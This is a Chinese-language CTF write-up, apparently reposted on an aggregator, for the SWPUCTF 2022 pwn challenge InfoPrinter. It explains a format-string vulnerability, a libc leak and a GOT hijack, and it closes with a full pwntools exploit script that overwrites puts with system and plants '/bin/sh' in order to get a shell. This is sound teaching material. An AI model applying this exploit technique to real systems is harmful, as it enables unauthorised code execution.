這篇具有很好參考價值的文章主要介紹了【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。
下載附件,checksec檢查程序保護情況:
![【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改](https://imgs.yssmx.com/Uploads/2023/10/720253-1.png)
No RELRO,說明got表可修改
接下來看主程序:
![【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改](https://imgs.yssmx.com/Uploads/2023/10/720253-2.png)
函數(shù)邏輯還是比較簡單,14行出現(xiàn)格式化字符串漏洞,配合pwntools的fmtstr_payload模塊可直接攻擊,然后就是題目提供了libc,然后第10行又泄露puts函數(shù)的地址,可直接計算出基址,然后就是/bin/sh這個字符串的傳入問題,看第15行puts(xx),點進去看xx:
![【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改](https://imgs.yssmx.com/Uploads/2023/10/720253-3.png)
發(fā)現(xiàn)xx存在data段中,我們同樣可以控制格式化字符串漏洞,來達到修改該地址的值為/bin/sh
下一步,確定字符串偏移:
![【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改](https://imgs.yssmx.com/Uploads/2023/10/720253-4.png)
可發(fā)現(xiàn),字符串偏移為6
exp:文章來源:http://www.zghlxwxcb.cn/news/detail-720253.html
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote("node5.anna.nssctf.cn",28063)
libc=ELF("./libc-2.31.so")
elf=ELF("./pwn")
io.recvuntil(b"0x")
puts_addr=int(io.recv(12),16)
base=puts_addr-libc.symbols["puts"]
system_addr=base+libc.symbols["system"]
payload=fmtstr_payload(6,{elf.got["puts"]:system_addr,0x403878:b'/bin/sh\x00'})
io.recvuntil(b'now leak it\n')
io.sendline(payload)
io.interactive()
?文章來源地址http://www.zghlxwxcb.cn/news/detail-720253.html
到了這里,關于【pwn】[SWPUCTF 2022 新生賽]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!
本文來自互聯(lián)網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經查實,立即刪除!